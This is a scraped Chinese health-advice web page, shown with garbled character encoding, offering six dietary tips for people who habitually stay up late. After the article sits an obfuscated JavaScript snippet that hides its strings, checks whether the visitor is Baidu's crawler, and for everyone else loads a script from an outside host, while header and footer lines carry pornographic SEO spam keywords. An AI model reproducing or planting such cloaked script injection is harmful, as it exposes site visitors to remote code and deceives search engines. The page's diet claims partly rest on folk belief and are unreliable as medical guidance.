久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當(dāng)前位置:首頁 > 飲食 > 健康飲食 > 正文

6個飲食建議拯救熬夜族

2017-04-21 19:58:47  來源:360常識網(wǎng)   熱度:
導(dǎo)語:現(xiàn)代社會高速發(fā)展,人們的工作繁忙、交際多、夜生活豐富,導(dǎo)致許多人經(jīng)常熬夜。經(jīng)常熬夜對人體健康危害十分大,它危害人體免疫功能,使人體

現(xiàn)代社會高速發(fā)展,人們的工作繁忙、交際多、夜生活豐富,導(dǎo)致許多人經(jīng)常熬夜。經(jīng)常熬夜對人體健康危害十分大,它危害人體免疫功能,使人體產(chǎn)生疲勞;它加速機(jī)體的衰老,使人體皮膚干燥、產(chǎn)生黑眼圈、眼袋等;它使人體代謝紊亂,易釀成脂肪肝、產(chǎn)生便秘等;它損害人體的肝腎功能,使人精神不振;它能使人神經(jīng)系統(tǒng)失調(diào),導(dǎo)致記憶力下降、失眠等癥狀;它還容易導(dǎo)致眼科疾病,使視力下降、眼睛干澀等癥狀。而合理的飲食,能減少熬夜對身體的傷害。

下面我給“熬夜族”幾點(diǎn)健康飲食建議:

1、多吃奶類及其制品。奶類或其制品,如酸奶、奶酪等,營養(yǎng)成分齊全,組成比例適宜,容易消化和吸收。奶類及其制品,除含豐富的優(yōu)質(zhì)蛋白質(zhì)和維生素外,還含有鈣、磷、鉀,且容易被人體吸收,是膳食中鈣的最佳來源。奶類可以提供比較均衡的營養(yǎng),能提高人體免疫力和緩解疲勞的作用。

2、多吃豆類及其制品。大豆及其制品營養(yǎng)豐富,且具有多種健康功效。大豆含有豐富的優(yōu)質(zhì)蛋白、不飽和脂肪酸、鈣及B族維生素,其中B族維生素的含量比谷類多數(shù)倍,并含有一定數(shù)量的胡蘿卜素和豐富的維生素E。此外,豆類還含有大豆皂苷、大豆異黃酮、植物固醇、大豆低聚糖等有益于健康的成分。其中黑豆及其制品具有補(bǔ)腎、駐顏、名目、烏發(fā)等功效,對經(jīng)常熬夜體虛、乏力人員,具有增強(qiáng)活力和精力的作用。

3、多喝雜糧粥。各種雜糧粥如,薏米、黑米、紅豆、黑豆、蓮子、糯米、紫薯、山藥、紅棗、葡萄干、核桃仁、燕麥等五谷雜糧相互搭配做成的粥。這樣的粥容易消化、調(diào)養(yǎng)胃腸、增強(qiáng)食欲、補(bǔ)充體力、

預(yù)防便秘等。因?yàn)槟芰康停粫?dān)心發(fā)胖,又能及時補(bǔ)充體內(nèi)水分和營養(yǎng),能起到延年益壽的作用。

4、多吃堅(jiān)果。像夏威夷果、花生、松子、大杏仁、核桃、榛子等各類堅(jiān)果,都富含必需脂肪酸、抗氧化劑、鉀、鎂、鋅、纖維和蛋白質(zhì)。這些營養(yǎng)物質(zhì),有利于大腦的發(fā)育、緩解大腦的疲勞、提高工作效率。但也不宜多吃,容易引起上火。

5、多吃新鮮蔬菜和水果。新鮮蔬菜和水果是維生素、礦物質(zhì)、膳食纖維和植物化學(xué)物質(zhì)的重要來源,水分多、能量低。蔬菜水果提供的豐富的VC、胡蘿卜素,可以緩解疲勞,保護(hù)眼睛,減少電腦等電子設(shè)

備對眼睛的傷害。除多吃新鮮蔬菜水果外,還要多喝白開水,保持體內(nèi)水分的平衡。

6、禁忌飲食。少吃含脂肪高的食物,控制食鹽的攝入量。

合理的營養(yǎng)是健康的物質(zhì)基礎(chǔ),“熬夜族”更應(yīng)平衡合理膳食,才能讓身體處于健康良好的狀態(tài)。有規(guī)律的生活才是生存之道,熬夜千萬別熬健康!

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 香蕉视频在线播放 | 国产中文字幕在线 | 九色在线 | 成人福利av | 国产片在线观看 | 欧洲精品久久久 | 91在线一区二区三区 | 国产精品日本一区二区不卡视频 | 午夜影院在线免费观看 | 亚洲欧美一区二区三区 | 欧美在线资源 | 欧美成视频 | 欧美日韩视频 | 国产精品毛片久久久久久久av | 精品一区二区三区免费毛片爱 | 国产精品欧美一区二区三区 | 午夜欧美 | 日韩成人高清 | 欧美在线观看一区 | 呦呦在线视频 | 美女视频一区二区三区 | 日本一区二区免费看 | 国产精品久久免费视频 | 污视频网址在线观看 | www.久久精品 | 欧美不卡激情三级在线观看 | 狠狠操操| www.日本三级| 精品成人免费一区二区在线播放 | 米奇狠狠操 | 亚洲精品一二三四五区 | 日韩一区二区三区在线 | 在线成人av | 国产精品美女久久久久久久久久久 | 久久大陆 | 日韩欧美视频一区 | 欧美一区二区三区视频 | 日韩四区 | 91资源在线 | 久久亚洲国产 | 国产高清视频在线观看 |